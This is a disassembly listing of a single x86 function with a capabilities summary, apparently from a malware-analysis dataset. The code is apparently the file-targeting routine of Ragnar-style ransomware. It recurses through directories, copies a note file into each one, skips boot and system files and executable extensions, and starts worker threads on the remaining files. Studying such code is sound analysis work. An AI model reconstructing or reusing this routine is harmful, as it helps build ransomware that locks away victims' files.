Function at 0x403970
Capabilities:
Copy file
Create thread
Enumerate files on windows
Enumerate files recursively
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14ac
call fcn.0040acb0
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov dword [ebp - 0xc], ecx
lea edi, [ebp - 0x294]
xor ebx, ebx
mov ecx, 0x94
rep stosd dword es:[edi], eax
cmp dword [ebp + 0x10], eax
je 0x403b42
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xea4]
push eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x403dbe
push dword [ebp - 4]
lea eax, [ebp - 0x10ac]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40b634
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [section..data]
lea eax, [ebp - 0x294]
mov dword [ebp - 0x294], 0x10
push ebx
push ebx
push eax
push dword [0x40d004]
lea eax, [ebp - 0xea4]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x403b3b
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x14]
nop dword [eax + eax]
push 0x40b3d0
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x403b1d
push 0x40b63c
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x403b1d
test byte [ebp - 0x294], 0x10
je 0x403b1d
lea eax, [ebp - 0x268]
push edi
push eax
call fcn.00404110
add esp, 8
test eax, eax
jne 0x403b1d
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x49c]
push eax
push 0x104
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x403dbe
lea eax, [ebp - 0x268]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40b644
lea eax, [ebp - 0x49c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x6a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40d458
lea eax, [ebp - 0x6a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
lea eax, [ebp - 0x6a8]
push eax
push 0x40d048
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x10ac]
push eax
lea eax, [ebp - 0x49c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 0x49c]
push esi
push 1
push edi
push eax
call fcn.00403970
lea eax, [ebp - 0x294]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x403a20
mov eax, dword [ebp - 8]
mov esi, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [section..data]
lea eax, [ebp - 0x294]
push 0
push 0
push eax
push dword [0x40d004]
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x403e61
nop dword [eax]
test byte [ebp - 0x294], 0x10
jne 0x403da4
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x49c]
push eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x403dbe
lea eax, [ebp - 0x268]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x49c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov edi, eax
mov dword [ebp - 0x44], str.autorun.inf
mov eax, dword [ebp - 4]
xor esi, esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x40], str.boot.ini
mov dword [ebp - 0x3c], str.bootfont.bin
mov dword [ebp - 0x38], str.bootsect.bak
mov dword [ebp - 0x34], str.bootmgr
mov dword [ebp - 0x30], str.bootmgr.efi
mov dword [ebp - 0x2c], str.bootmgfw.efi
mov dword [ebp - 0x28], str.desktop.ini
mov dword [ebp - 0x24], str.iconcache.db
mov dword [ebp - 0x20], str.ntldr
mov dword [ebp - 0x1c], str.ntuser.dat
mov dword [ebp - 0x18], str.ntuser.dat.log
mov dword [ebp - 0x14], str.ntuser.ini
mov dword [ebp - 0x10], str.thumbs.db
push dword [ebp + esi*4 - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x403c44
mov eax, dword [ebp - 0xc]
inc esi
cmp esi, 0xe
jb 0x403c25
mov eax, 1
jmp 0x403c46
xor eax, eax
cmp eax, 1
jne 0x403cf6
mov dword [ebp - 0x30], 0x40b3d4
xor esi, esi
mov dword [ebp - 0x2c], str..sys
mov dword [ebp - 0x28], str..dll
mov dword [ebp - 0x24], str..lnk
mov dword [ebp - 0x20], str..msi
mov dword [ebp - 0x1c], str..drv
mov dword [ebp - 0x18], str..exe
mov dword [ebp - 0x14], str..efi
mov dword [ebp - 0x10], str..mui
push dword [ebp + esi*4 - 0x30]
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x403cf6
inc esi
cmp esi, 9
jb 0x403c90
push str.__RAGNAR___NOTES_
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403cf6
push 0x40b648
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403cf6
push 0xcf24
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0x49c]
mov dword [ebp + ebx*4 - 0x89c], eax
push ecx
add eax, 0x400
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
inc ebx
mov eax, dword [0x40d03c]
cmp ebx, eax
jl 0x403d9e
xor esi, esi
test eax, eax
je 0x403d4d
nop dword [eax]
mov ecx, dword [ebp + esi*4 - 0x89c]
mov eax, dword [ebp + 0x14]
mov dword [ecx + 0xcf20], eax
lea eax, [ebp - 0x14ac]
lea eax, [eax + esi*4]
push eax
push 0
push ecx
push 0x403580
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp + esi*4 - 0xc9c], eax
inc esi
mov eax, dword [0x40d03c]
cmp esi, eax
jb 0x403d10
push 0xffffffffffffffff
push 1
lea ecx, [ebp - 0xc9c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor esi, esi
cmp dword [0x40d03c], esi
jbe 0x403d9c
nop dword [eax]
push dword [ebp + esi*4 - 0xc9c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + esi*4 - 0x89c]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
inc esi
cmp esi, dword [0x40d03c]
jb 0x403d70
xor ebx, ebx
mov eax, dword [ebp - 8]
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x294]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x403dc9
mov eax, dword [ebp - 8]
jmp 0x403b70
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
test ebx, ebx
jle 0x403e58
xor esi, esi
nop dword [eax]
nop word [eax + eax]
mov ecx, dword [ebp + esi*4 - 0x89c]
mov eax, dword [ebp + 0x14]
mov dword [ecx + 0xcf20], eax
lea eax, [ebp - 0x14ac]
lea eax, [eax + esi*4]
push eax
push 0
push ecx
push 0x403580
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp + esi*4 - 0xc9c], eax
inc esi
cmp esi, ebx
jl 0x403de0
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0xc9c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
xor esi, esi
test ebx, ebx
jle 0x403e58
push dword [ebp + esi*4 - 0xc9c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + esi*4 - 0x89c]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
inc esi
cmp esi, ebx
jl 0x403e30
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x10